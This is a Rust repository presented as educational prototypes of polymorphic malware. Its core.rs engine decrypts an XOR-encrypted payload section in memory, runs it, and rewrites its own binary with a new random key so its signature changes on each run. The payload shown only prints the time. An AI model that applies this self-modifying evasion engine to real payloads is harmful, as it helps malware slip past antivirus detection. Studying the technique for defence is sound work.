├── .dockerignore ├── .github ├── .DS_Store └── assets │ └── COVER.png ├── .gitignore ├── Cargo.toml ├── Dockerfile ├── LICENSE ├── README.md └── polymorphic ├── Cargo.toml ├── README.md └── src ├── core.rs ├── main.rs └── toxic.rs /.dockerignore: -------------------------------------------------------------------------------- 1 | ./target 2 | ./dockerignore 3 | .gitignore 4 | Dockerfile 5 | README.md -------------------------------------------------------------------------------- /.github/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quartz-technology/chameleon-rs/ec11aa6c29b1cc4ed99f1c53bdf90f7769ab6cb3/.github/.DS_Store -------------------------------------------------------------------------------- /.github/assets/COVER.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quartz-technology/chameleon-rs/ec11aa6c29b1cc4ed99f1c53bdf90f7769ab6cb3/.github/assets/COVER.png -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | debug/ 4 | target/ 5 | 6 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 7 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 8 | Cargo.lock 9 | 10 | # These are backup files generated by rustfmt 11 | **/*.rs.bk 12 | 13 | # MSVC Windows builds of rustc generate these, which store debugging information 14 | *.pdb 15 | 16 | # IDEA 17 | .idea/ -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | 3 | members = [ 4 | "polymorphic" 5 | ] 6 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:1.72.1 2 | 3 | WORKDIR /app 4 | 5 | COPY . . 6 | 7 | RUN cargo build 8 | 9 | ENTRYPOINT ["/bin/bash"] 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Quartz Technology 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

chameleon-rs

2 | 3 |

4 | Chameleons 5 |

6 | 7 | 8 | Prototypes on polymorphic, metamorphic and poly-metamorphic malwares in Rust. 9 | 10 | ## Disclaimer 11 | 12 | This project is for educational purposes only. 13 | It has been made to get a better understanding of polymorphic and metamorphic code concepts. 14 | 15 | Quartz and its members are not responsible for your usage of this project. 16 | 17 | ## Acknowledgments 18 | 19 | This project is inspired by the great work of the PoC Innovation team on the [WhiteComet-Research](https://github.com/pocinnovation/whitecomet-research) 20 | project. 21 | 22 | Go check their work as well as their other projects to learn more about innovative topics! 23 | 24 | ## Introduction 25 | 26 | A unique yet very elegant technique for a malware to avoid being detected by anti-viruses is to 27 | alter its signature. 28 | 29 | There are many ways to achieve this: 30 | - **Polymorphism**: The dedicated page on Wikipedia explains the concept very well, "_the code changes itself 31 | every time it runs, but the function of the code (its semantics) will not change at all_". 32 | 33 | 34 | - **Metamorphism**: When the malware edits and rewrites its own code each time it is run. Here 35 | the semantics changes, but the injected code can be composed of [NOPs](https://en.wikipedia.org/wiki/NOP_(code)) 36 | only. 37 | 38 | 39 | - **Poly-Metamorphism**: Combining both previous techniques, the malware will change **and** 40 | encrypt its own code each time it is run. 41 | 42 | In this project, `chameleon-rs`, we developed prototypes for each one of the techniques 43 | described above. 44 | 45 | To make things more challenging, we used the Rust programming language to demonstrate the 46 | capacity of using modern tools with a lot of external support available. 47 | That is, shaping malwares that could use modern third-party libraries (the Rust crates). 48 | 49 | ## Getting Started 50 | 51 | To be able to test all the malwares on all platforms, we wrote a [Dockerfile](./Dockerfile) for 52 | a simple container which builds the binaries. 53 | 54 | You can build and run it using the following commands: 55 | ```shell 56 | docker build . -t chameleon-rs 57 | docker run --rm -it chameleon-rs 58 | ``` 59 | 60 | Once in the container, execute the malware as many times as you wish. In the following example, 61 | we compute the sha256 hash for the binary (which must change between each execution): 62 | ```shell 63 | # Initial binary hash. 64 | sha256sum ./target/debug/polymorphic #549a821e28b6dd03e6d430852447d6f7b425f2e26da3eab49e044c86a53cf59b 65 | 66 | # Execute the binary for the first time. 67 | ./target/debug/polymorphic 68 | 69 | # New binary hash, malware signature has changed. 70 | sha256sum ./target/debug/polymorphic #e0479c6b7d2af8b5f6ccf55561e4ba400653450dccd8871f8b558fcf29fa1cb3 71 | ``` 72 | 73 | ### Polymorphic Malware 74 | 75 | > The sources for this prototype are available in the [`polymorphic`](./polymorphic) folder. 76 | 77 | Want to learn more about how it works ? Check out the dedicated [README](./polymorphic/README.md) file ! 78 | 79 | ### Metamorphic Malware 80 | 81 | > Coming soon ! 82 | 83 | ### Poly-Metamorphic Malware 84 | 85 | > Coming soon ! 86 | 87 | ## Conclusion 88 | 89 | We learned a lot during the development of those prototypes. 90 | Go on and take a look at the code, try to understand what it does, how things could be improved, 91 | invent new ways to prevent those attacks. 92 | 93 | ## Authors 94 | 95 | Made with 🔐 and ❤️ by the 🦎 at [Quartz](https://quartz.technology). -------------------------------------------------------------------------------- /polymorphic/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "polymorphic" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | object = "0.32.1" 10 | libc = "0.2.148" 11 | rand = "0.8.5" -------------------------------------------------------------------------------- /polymorphic/README.md: -------------------------------------------------------------------------------- 1 | # Polymorphic Malware 2 | 3 | ## What it does 4 | 5 | For this first prototype, we developed a program able to run a harmless payload. 6 | It will do the following: 7 | 1. Decrypt the part of the code marked as toxic (the payload). For this example, we used XOR 8 | encryption using a key embedded in the binary. 9 | 2. Execute the payload (print the current time). 10 | 3. Create a new random key. 11 | 4. Encrypt the payload using the new key and overwrite the toxic section in the binary. 12 | 5. Overwrite the new key in the binary. 13 | 14 | ## How it works 15 | 16 | A few question might arise from those explanations: 17 | - **How can someone mark a section of the code as toxic ?** 18 | 19 | Using attributes, we can make sure that elements of the code (functions, variables) can be 20 | placed at a specific location in the binary during the program build process. 21 | 22 | 23 | - **What does it mean for the XOR key to be embedded in the binary ?** 24 | 25 | Nothing very complicated ! The key is also placed in a dedicated section of the code named `.key` 26 | whereas the payload in stored in the `.toxic` one. 27 | So, the same way that the payload function code can be overwritten, the key variable can be 28 | changed. 29 | 30 | 31 | - **Are there any kind of protections against this technique ?** 32 | 33 | One unexpected protection we faced and could not overcome during the development was specific 34 | to macOS platforms. You see, macOS refuses to execute code that might set specific sections of 35 | the code writeable, something required to overwrite the payload's code. 36 | 37 | Using more usual processes, we can reverse engineer the binary to inspect its structure and 38 | behaviour, try to run it in a sandbox environment and check the before and after binary's 39 | content, maybe use machine learning... -------------------------------------------------------------------------------- /polymorphic/src/core.rs: -------------------------------------------------------------------------------- 1 | use std::{env, fs}; 2 | use std::path::PathBuf; 3 | use libc::{_SC_PAGESIZE, c_int, c_void, mprotect, PROT_EXEC, PROT_READ, PROT_WRITE, sysconf}; 4 | use object::{File, Object, ObjectSection}; 5 | use rand::{RngCore, thread_rng}; 6 | use crate::toxic::XOR_KEY; 7 | 8 | pub struct PolymorphicEngine { 9 | exe_path: PathBuf, 10 | tmp_path: PathBuf, 11 | tmp_data: Vec, 12 | } 13 | 14 | impl PolymorphicEngine { 15 | pub fn new() -> PolymorphicEngine { 16 | let exe_path = env::current_exe().unwrap(); 17 | let tmp_path = exe_path.with_extension("tmp"); 18 | 19 | fs::copy(&exe_path, &tmp_path).unwrap(); 20 | 21 | let tmp_data = fs::read(&tmp_path).unwrap(); 22 | 23 | PolymorphicEngine { 24 | exe_path, 25 | tmp_path, 26 | tmp_data, 27 | } 28 | } 29 | 30 | pub fn run(&mut self, payload: fn()) { 31 | let tmp_data_cpy = self.tmp_data.clone(); 32 | let tmp_file = File::parse(tmp_data_cpy.as_slice()).unwrap(); 33 | 34 | let section_toxic = tmp_file.section_by_name(".toxic").unwrap(); 35 | 36 | self.set_protections_to_memory_region( 37 | payload as usize, 38 | section_toxic.size() as usize, 39 | PROT_READ | PROT_EXEC | PROT_WRITE, 40 | ); 41 | 42 | self.decrypt_memory_region( 43 | payload as usize, 44 | section_toxic.size() as usize, 45 | ); 46 | 47 | self.decrypt_binary_region( 48 | section_toxic.file_range().unwrap().0 as usize, 49 | section_toxic.size() as usize, 50 | ); 51 | 52 | self.set_protections_to_memory_region( 53 | payload as usize, 54 | section_toxic.size() as usize, 55 | PROT_READ | PROT_EXEC, 56 | ); 57 | 58 | let section_key = tmp_file.section_by_name(".key").unwrap(); 59 | 60 | self.randomize_binary_region( 61 | section_key.file_range().unwrap().0 as usize, 62 | section_key.size() as usize, 63 | ); 64 | 65 | self.encrypt_binary_region( 66 | section_toxic.file_range().unwrap().0 as usize, 67 | section_toxic.size() as usize, 68 | ); 69 | 70 | payload(); 71 | self.save_changes() 72 | } 73 | 74 | fn set_protections_to_memory_region(&self, region_start: usize, region_size: usize, protections: c_int) { 75 | let region_end = region_start + region_size; 76 | 77 | unsafe { 78 | let page_size = sysconf(_SC_PAGESIZE); 79 | let page_start = region_start & -page_size as usize; 80 | let len = region_end - page_start; 81 | 82 | let _res = mprotect(page_start as *mut c_void, len, protections); 83 | } 84 | } 85 | 86 | fn decrypt_memory_region(&self, region_start: usize, region_size: usize) { 87 | let region_start_pointer = region_start as *mut u8; 88 | 89 | unsafe { 90 | for i in 0..region_size { 91 | *(region_start_pointer).offset(i as isize) ^= XOR_KEY[i]; 92 | } 93 | } 94 | } 95 | 96 | fn decrypt_binary_region(&mut self, region_start: usize, region_size: usize) { 97 | self.xor_binary_region(region_start, region_size) 98 | } 99 | 100 | fn encrypt_binary_region(&mut self, region_start: usize, region_size: usize) { 101 | self.xor_binary_region(region_start, region_size) 102 | } 103 | 104 | fn xor_binary_region(&mut self, region_start: usize, region_size: usize) { 105 | unsafe { 106 | self.tmp_data[region_start..region_start+region_size] 107 | .iter_mut() 108 | .zip(&XOR_KEY[0..region_size]) 109 | .for_each(|(a, b)| *a ^= b) 110 | } 111 | } 112 | 113 | fn randomize_binary_region(&mut self, region_start: usize, region_size: usize) { 114 | let mut rng = thread_rng(); 115 | 116 | unsafe { 117 | rng.fill_bytes(&mut XOR_KEY); 118 | 119 | self.tmp_data[region_start..region_start+region_size].copy_from_slice(&XOR_KEY[0..region_size]); 120 | } 121 | } 122 | 123 | fn save_changes(&self) { 124 | let exe_permissions = fs::metadata(&self.exe_path).unwrap().permissions(); 125 | 126 | fs::write(&self.tmp_path, &self.tmp_data).unwrap(); 127 | fs::set_permissions(&self.tmp_path, exe_permissions).unwrap(); 128 | fs::rename(&self.tmp_path, &self.exe_path).unwrap() 129 | } 130 | } -------------------------------------------------------------------------------- /polymorphic/src/main.rs: -------------------------------------------------------------------------------- 1 | use crate::toxic::payload; 2 | 3 | mod core; 4 | mod toxic; 5 | 6 | fn main() { 7 | let mut pe = core::PolymorphicEngine::new(); 8 | 9 | pe.run(payload) 10 | } 11 | -------------------------------------------------------------------------------- /polymorphic/src/toxic.rs: -------------------------------------------------------------------------------- 1 | use std::time::SystemTime; 2 | 3 | #[link_section = ".key"] 4 | pub static mut XOR_KEY: [u8; 132] = [0;132]; 5 | 6 | #[link_section = ".toxic"] 7 | pub fn payload() { 8 | let start = SystemTime::now(); 9 | 10 | println!("PAYLOAD EXECUTED AT {:?}", start); 11 | } 12 | --------------------------------------------------------------------------------